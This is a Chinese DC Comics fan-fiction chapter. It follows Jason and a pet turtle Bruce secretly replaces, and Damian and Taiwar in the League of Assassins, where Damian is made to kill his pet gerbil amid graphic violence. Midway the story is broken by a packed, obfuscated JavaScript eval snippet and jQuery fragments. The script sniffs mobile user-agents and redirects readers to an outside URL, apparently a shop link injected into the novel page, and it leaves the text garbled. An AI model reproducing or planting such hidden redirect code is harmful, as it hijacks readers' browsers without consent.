“好了，下午茶时间结束了。今天感觉怎么样，杰森？我不知道你的动物缘如何。我今天在特蕾莎家的花店门口看到了一对绿皮鹦鹉，于是灵机一动，给你准备了一点小礼物。”


    “放宽心，绝对不是鹦鹉。”


    “宠物能够非常有效地安抚人类的情绪，这种治愈是双向的。义警或者□□老大的职业性质会让你没法养狗或者猫，最大的阻碍是并不稳定的离家时间和连自己都照顾不好的三餐。”


    “那么，什么样的宠物可以在你动不动就离开三四天甚至一两周的前提条件下还保持着对生活的热情？”


    “它们是天生的哲学家，懂得享受美好的点滴时光。”


    “我已经给他起好名字了，umm，他，或者她，我不确定，那不重要，总之那是一个令我感到最熟悉、最亲切、最崇拜的伟人的名字。这是个神圣的名字，他能驱散一切邪恶与污秽，使人心安。”乔伊情真意切地说，“愿真理之光照耀于你。”


    ……


    “这段时间麻烦您了，女士。”杰森抱着一个圆嘟嘟的大瓷缸，对花店的店主道谢。


    “哦，再没有比这更省心的小东西了，更何况你的朋友可是为此付了不少钱，就，只是让它在这儿寄养几个月罢了！”


    特蕾莎夫人热情高涨地把那个瓷缸往杰森的方向推了推，她的音调有一丝紧张过后松了一口气的怪异。杰森察觉了，却没有感受到威胁。


    也许是这位女士很讨厌它，只是迫于金钱压力在向杰森说好话。


    “……总之还是……谢谢。”杰森含糊地说。


    杰森把瓷缸绑在机车的车头顶上。


    这个造型委实带着些后现代艺术风格的不羁，不过他还是选择把瓷缸放在眼皮子底下，以防里面的住客在他看不到的背后被震飞出去。


    “我可没有多余的安全头盔给你，所以等下上路的时候给我老实点儿！”


    杰森对着躺在瓷缸底部一派淡定的那只乌龟威胁道。


    “听到了没有，马克思！？”


    【刺客联盟·中东基地】


    这儿的冬季和其他节令一样干燥。泰瓦尔和一群不过节的人一起度过了公历意义上的新年，而他浑然不知。刺客联盟就像释放训练有成的猎犬一样逐渐开始地派他出门猎杀，尽管次数屈指可数。


    至少他需要学会隐瞒见到“外面的世界”时溢出的好奇心。


    沙漠里面有什么？


    沙子，砾石。


    骨头。


    靠近水源的地方有绿洲，那也不过是低劣而卑微的植物们在挣扎活命，植物与植物相隔很远，不论它们是不是同类，所以绿洲并不像很多人想象得那样绿意盎然、赏心悦目。它们的颜色很颓败，是臣服在骄阳与黄沙之下的颓败。


    除此之外，要在沙漠里找到其他活物就得拿出点真本事了。排除掉不太会在大众审美观里占有一席之地的节肢小动物，比较容易到手的是一些沙蜥，比如斑沙蜥和内志沙蜥，它们颜色土气（字面意义上的），其貌不扬，唯一可以称道的是“静如处子动如脱兔”的独门秘技。


    再朝进化树的顶端攀爬，蓬尾沙鼠也许是更能够讨好人类的物种，它们拥有跟宠物仓鼠相差无几的习性，只是尾巴长得有些特异。


    泰瓦尔选择捕捉这种小家伙而不是会引起小女孩尖叫的网红卡哇伊之神耳廓狐，是因为它足够小，方便他用一点点草药麻醉之后藏进内兜里带回来。


    达米安就看着男人从怀里掏出一只半个拳头大的沙鼠。


    男孩不知道他该做出什么表情来应对。那小东西有一身灿金色的皮毛，黑豆眼，尾巴裸露而有一点膨大，此刻被倒提在男人手里，嘴巴微张，露出两颗愚蠢的门牙。


    它微微动弹了一下，随后全身都开始颤抖。它要醒了。


    男人径直把沙鼠交到达米安的手心，好像他笃定这小子非但不会一把捏碎脆弱生物的骨头，还将把它奉为上宾一样。达米安戴着薄而坚韧的皮质手套，学习男人的样子捏住沙鼠的尾巴把它拎起来查看。


    达米安的手套立刻被咬住了，并且他没法还手。男孩不知道用什么力道才能既困住它又不把它碾碎。


    泰瓦尔平淡地朝男孩耸耸肩。


    如果有旁观者能够全程参与他在刺客联盟的时间线，就能发现这家伙的微笑在减少。


    不只是微笑，他所有的情绪都没有存在的必要。除了近三个月以来随机造访的达米安之外，他没有交流和表达思绪的对象。这半年来日复一日的训练使泰瓦尔愈发像一柄藏锋的利剑，习惯于屏声敛气，只在必要的时候出鞘，而后一击毙命。


    给达米安准备礼物是唯一在杀戮之外的习惯。


    男人的怀里又有什么东西动了一下，他一把捏住那个四处乱窜的活物，把它甩了出来——


    一只惊慌失措的斑沙蜥开始在小院里四处逃窜。泰瓦尔难得兴奋起来，他朝那只蜥蜴的前进路线飞快的甩出忍者飞镖，用这种方式令它转向。可怜的小东西受到了太多惊吓，它总会被一把突然出现的飞镖给骇得弹起来，然后晕头转向地朝边上继续冲刺，慌不择路到羊入虎口。


    “你在干什么？！”达米安拔刀出鞘，刀刃将飞镖弹开的时候发出一声清脆的“当啷”。


    男人朝他挑眉。


    你不喜欢吗？


    这是给你的玩具。


    泰瓦尔比划道。


    “肆意玩弄弱小的存在以供自己取乐是一种可耻的劣行！”达米安空前愤怒地吼道，“王者应当对其予以庇护，而非侮辱！”


    达米安暴烈的刀法受制于他左手里躺着的那只小小沙鼠，被男人轻松隔开了。泰瓦尔朝他露出了一个意味深长的微笑，这让达米安在愤怒之外还感到了一阵被戏耍的屈辱。


    你想保护它们。男人手语道，他几乎是下意识地向男孩揭露自己心情颇佳的理由。


    这很好。达米安，我为你骄傲。


    【哥谭·街头】


    杰森骑着机车在路上狂飙，每当他速度稍减，或者转弯的时候，瓷缸底部的乌龟就会随着他车头的摇摆而滑来滑去，龟壳撞到陶瓷的壁上发出沉闷的哐啷声。


    他在半途停下来，有点不放心地查看这个爬行类的情况。


    乌龟紧紧缩在壳里，压根不鸟他。


    “嘿，马克思？”杰森把它翻来覆去地拿起来检查，“你晕车了吗？”


    这只小东西背上有着很漂亮的红色花纹。


    乌龟以迅雷不及掩耳之势伸出头来咬了杰森一口。


    未遂。


    杰森飞快地把它摔回了瓷缸。


    “你完蛋了，你这个爱装死的小瘪三。”红头罩老大嘟嘟囔囔地说着，再次发动机车。“惹恼房东可不是什么明智的做法：我会重新考虑你的生活条件的。”


    【刺客联盟·中东基地】


    给两个新室友安排住宿花费了达米安很多心思。男孩很想把莉薇娅（Livia），也就是那只雌性的蓬尾沙鼠带在身边，但他也知道这是不切实际的妄想，于是由泰瓦尔做主编制了一个结实的笼子，笼子本身半埋进小院的角落，用一蓬杂草作掩护。


    沙鼠野性难驯，无差别攻击了他们俩好多次。达米安对此很是满意：“这才无愧于我赋予她的奥古斯塔之名。（莉薇娅·杜路莎·奥古斯塔，屋大维的妻子，罗马帝国早期最有权力的女性角色）”


    达米安大发慈悲地把那只斑沙蜥的命名权交给泰瓦尔。


    男人随意地把它称呼为小龙崽子（drag），因为蜥蜴都长得有棱有角的，撇去那副一动不动的呆样，凭良心说它确实是一种很酷的生物。这个名字在达米安看来是一种敷衍，而达米安是唯一能够把单词对着蜥蜴说出来的那个。


    达米安只重复了一遍，就拒绝再次发音。按照男孩的设想，在他庇护之下的类龙有鳞生物，必须配上类似于“耶梦加得”这种名字，美中不足的只是蜥蜴比起蛇类多长了四只脚。


    达米安偷偷地给莉薇娅和小龙（他最终还是不甘不愿地承认了这个称呼，因为他的骄傲不允许他反悔来回收命名权）带来水果，有时候是果皮，它们也安之若素地享用。


    【哥谭·蝙蝠洞】


    大狗艾斯蹲坐在布鲁斯身边。


    在一开始艾斯只肯听布鲁斯的话，在近一个月的磨合之后，他又逐渐接受了阿尔弗雷德的训导。


    艾斯格外青睐那张沙发，尽管阿尔弗雷德把乔伊的毯子和靠垫都收了起来，他就是喜欢那里。他还能够准确地找到乔伊曾经居住的客房，并且在门口徘徊不去。


    除此之外，位于艾斯关注列表第二位的布鲁斯也得到了很多意料之外的安慰。这时候，狼犬才开始展露出忠诚和固执之外的品格，那就是非同一般的智慧。艾斯能够分辨出布鲁斯什么时候能够被打扰，而布鲁斯……


    他震惊于能够在一条狗身上看到“情商”这种东西。


    蝙蝠侠花费在那些超人类上的精力以及对于战争的提前准备使他超出寻常地疲惫。“假如超人现世……”乔伊的资料上说，“接踵而来的可能会是宇宙级别的反派危机。正义联盟的第一次联手就对上达克赛德的可能性最大，要么就是他的前锋荒原狼。”


    “但是这个世界上有火星猎人的存在，这就意味着可能发生老版JLA（正义联盟在行动）的情节，反派可能会有超能氏族、亚魔卓、钥匙人……”


    布鲁斯仰靠在蝙蝠椅上揉按自己的太阳穴。令他疲惫和失去睡眠的还有一个罪魁祸首，那就是乔伊的例行磁带。布鲁斯通常会抽空用倍速把一个星期的量都听完，确认其中的内容没有问题，然后每天夜巡的第一站是去杰森那个废弃的安全屋前“快递上门”。


    当布鲁斯发现乔伊给杰森买了一只乌龟时，他是很赞成的。而出于蝙蝠侠的谨慎，布鲁斯亲自去特蕾莎女士的花店里提前查看了马克思的寄养情况。


    他毫无破绽地将自己乔装打扮成了莱特·李，而店主看上去格外心虚和愧疚。


    “莱特先生……非常抱歉，那只乌龟之前因为我丈夫看店了几天，疏于照顾缺水而死，我想那是死了，我丈夫就把它扔掉了。我们尝试过联系您，但是那个号码打不通！我们愿意支付一点赔偿……”


    布鲁斯看着那个瓷缸，里面已经被填满了土，还栽上了五角梅。不论乌龟是被扔到了垃圾车里送往填埋场，还是扔进下水道至少一个月，“马克思”的死亡都无可挽回。


    那盒磁带将在下一周周一被他放到杰森的安全屋门前。


    “我可以不追究这件事。”布鲁斯说，“你们还有一个挽回的机会，只是不能够透露我的第二次出现，也就是现在发生的一切，就只要把我给你们的新乌龟当做原来那只，”


    ……


    “这就是您叫我这个您明知并非万能的老管家帮你在一个晚上之内物色一只，宠物龟？并且立刻送到您手里的理由吗，布鲁斯少爷？”


    “也不一是宠物龟。”布鲁斯头疼地说，“乔伊一定是挑选了那种最好打理、最耐糙的乌龟。我担心的是他会不会在之后的磁带里再提到它，然后说它有什么特殊的花纹之类的让这事儿露馅。”


    布鲁斯连熬了一整夜，把剩下的半箱磁带三倍速刷了一遍。


    “阿福。”他向身处宠物市场的管家通报这个好消息，“应该是一只背部偏棕，又有几条很漂亮的红色花纹的火焰龟，大小适中。你只管挑品相最好、最健康的。”


    把一切搞定之后，布鲁斯总算能喘口气了。这时候神奇的艾斯好像与他心意相通一般，小碎步走到他身边，把脑袋搁到布鲁斯的双膝上。


    “不觉得冷吗？”布鲁斯摘下手台，给艾斯梳理了一下颈背上的毛发。


    艾斯的下巴紧贴着蝙蝠装防御最厚的部位之一：那些膝关节处坚硬冰凉的甲片。他朝布鲁斯吐出舌头，表示舒适，犬类身上源源不断传来的热度同样令蝙蝠侠关节磨损严重的双膝感到熨帖。


    布鲁斯难得生出了一种在蝙蝠洞里也能享受的闲适。


    他珍惜地摸了摸艾斯的头顶，向阿福说道：“下次不要带他下来了。它会影响我的工作效率。”


    “真巧，布鲁斯老爷。”阿尔弗雷德毫不客气的说，“在我眼里这情况正好相反。”


    艾斯朝他们乖巧地摇晃尾巴。


    ……


    【刺客联盟·中东基地】<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257794|151618||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>泰瓦尔大跨步地往他的小屋赶。刺客联盟在他身上烙下了难以磨灭的痕迹，很大一部分体现在体态和步伐上。他每一步的步距都如同用标尺丈量过那样精准，同时还能做到悄无声息。他急着去打理一下自己身上新鲜的血污——


    这儿有人来过了，不止一个。


    在他分析那两个入侵者的具体信息之前，一道星星点点的黑红色血迹，以及某个生命拼死挣扎的痕迹把他的目光勾向那蓬草之后。


    泰瓦尔躬下身子，仔细检查那个空空的鼠笼，又怀抱着渺茫的希望搜遍了整个小院。莉薇娅不知所踪，根据出血量和那些带毒的残留物，她一定死透了。


    小龙在太阳最盛时喜欢跑进屋，所以泰瓦尔在床板地下找到这只命大的斑沙蜥时大松了一口气，然后他就这么带着刚杀完人还没打理的一身腥臭向外闯去。


    泰瓦尔在刺客联盟里待了足足半年，从未打破规矩。


    上级叫他待在院子里，他就待在院子里。


    叫他训练，他就训练。


    这会儿他提着刀呆立在小院门口，望着层层叠叠的守备，有一种出拳砸进棉花里的无力感。


    那个他既熟悉又疏远的女性随侍向前迈了一步。


    男人警惕地捏住刀把，拔刀术起手式。


    “你想去找那个男孩？”女刺客说，“他在东边，连接生产舱的角斗场。”


    泰瓦尔眯起眼睛。


    你到底是谁？


    “妮莎。”女刺客盈盈一笑，“我叫妮莎。”


    ……


    男人向东方狂奔。他不知道他要到什么地方去，他只知道必须见到达米安，确认他的男孩是否还是好好的。机关，暗道，层出不穷拦在途中的侍卫，都闪开！


    他一头栽进那个他自己也很眼熟的角斗场，达米安素白色的罩袍搭配麂皮坎肩，整个人像是从血泊里爬出来似的，滴滴答答往下淌着脓腥的血浆，甚至还有些破裂的组织与内脏挂在他的背上。达米安没见到男人一样无动于衷地转过身去，一步一步，走向角斗场对面一个风格迥异的通道。


    泰瓦尔剧烈着喘气。


    达米安！


    男人继续冲刺，他飞身跨过那些尸体，那些！那些男孩的尸体，畸形的头或者手，一些失掉头颅的喉管还在咕噜咕噜地往外冒出血泡。


    达——米——安——


    这无声的嘶吼没法叫达米安动摇半秒。


    如果他能让他听见！


    达米安——


    他冲进男孩所在的甬道，然后用尽全力往那个方向飞扑，不知怎么的他就跪在孩子面前，紧紧地抱住他的头，他细瘦的肩背，连同他满身的血污一起。


    达米安挣动了一下。


    这时候泰瓦尔才看到他手里松松握着的是一只蓬尾沙鼠的尸体。尸体被下了毒，那鼠的嘴吻和爪尖都显出不详的黑色，但真正致命的伤是喉咙处的剑刃穿刺。泰瓦尔满分的痕迹分析成绩能够令他立刻复原这场谋杀的现场。罪魁祸首给莉薇娅喂了不那么剧烈的某种毒，然后勒令达米安向他发誓庇护的小生命下手。


    “你说，我懂得保护它们，这令你感到骄傲。”达米安不带一丝感情地叙说道。


    “母亲说，你帮助她找到了我的弱点。”


    “现在我亲手杀死了我的弱点，母亲她，也为我感到骄傲。”


    达米安幼稚的童声在这死气沉沉的鬼地方盘旋、回还，令人想起冰冷的丝绸，或者子弹，或者利剑。他手里的尸体，僵硬、丑陋，四肢扭曲，眼珠暴突，口鼻里冒出污秽，灿金色的毛发黯淡凋零如一蓬乱草。


    他的身前背后，是无数培养罐，有的打开了，有的还封闭着，那些爬出来的生物就是一路上死在达米安剑下的怪胎们，而新的怪物多到不可计数，它们都在绿色的培养液中起起伏伏。


    男人再一次死死地抱住了男孩。泰瓦尔从不发声的喉咙开始撕裂般的疼痛。他不知道这是为什么，他不知道哭泣是需要有声音的，于是在毫无意义的咕哝之外，男人保持着跪姿，怀里嵌着男孩，他发出一声难以言喻的嘶叫，就像是垂死的蝉鸣。


    达米安没有哭泣。达米安在男人怀里大睁着眼睛。他问道：“非得选一个吗？谁是对的，谁是错的？什么又是对？什么又是错？”


    “我是一个懦夫。我不能停止让你失望，或者让母亲失望。”


    男人从嘴里冒出破碎的音节。


    他似乎没有成功地哭出声来，喉咙像是塞满石块。只是一遍又一遍地抚上男孩的脊背，那些破碎的单词逐渐拼凑起来，逐渐显露意义。


    “……对……不起，孩子……对不……起……对不起……”


    我来晚了，对不起。


    没能保护好你，对不起。


    没有早点抱抱你……对不起。


    达米安垂下眼睛，他同一种同样破碎的、颤抖的声音问：


    “现在你见到了，你还是，你还是……”


    “是的，达米安……”男人微微松开了紧紧箍住男孩的双臂，转而护住他的后脑勺，让他们前额贴着前额。达米安为后脑要害处的失控而紧张了一刻，又在男人与他如出一辙的绿眼睛里找到安定。


    他在那泊镜湖里头看到自责、痛苦、爱怜、悲愤，以及一个形容狼狈的男孩：他自己。


    独独没有的是厌弃。


    “……我仍然……并且永远为你骄傲，达米安。”


    【哥谭·红头罩安全屋】


    “我们就这样生存，永远在告别。”


    “死亡很大，我们是他嘴巴里发出的笑声。”


    “我们站在生命中，死亡也大胆地在我们中间哭泣。”


    ……


    “我们只是路过万物，像一阵风吹过。


    万物对我们缄默，仿佛有一种默契，


    也许视我们半是耻辱，半是难以言喻的希望。”


    “……”


    “晚安，杰森，明天见。”


    “咔哒。”


    “……”


    “……”


    “晚安，安全屋。”杰森轻声说，“晚安，马克思。”


    “……”


    “晚安，磁带先生。”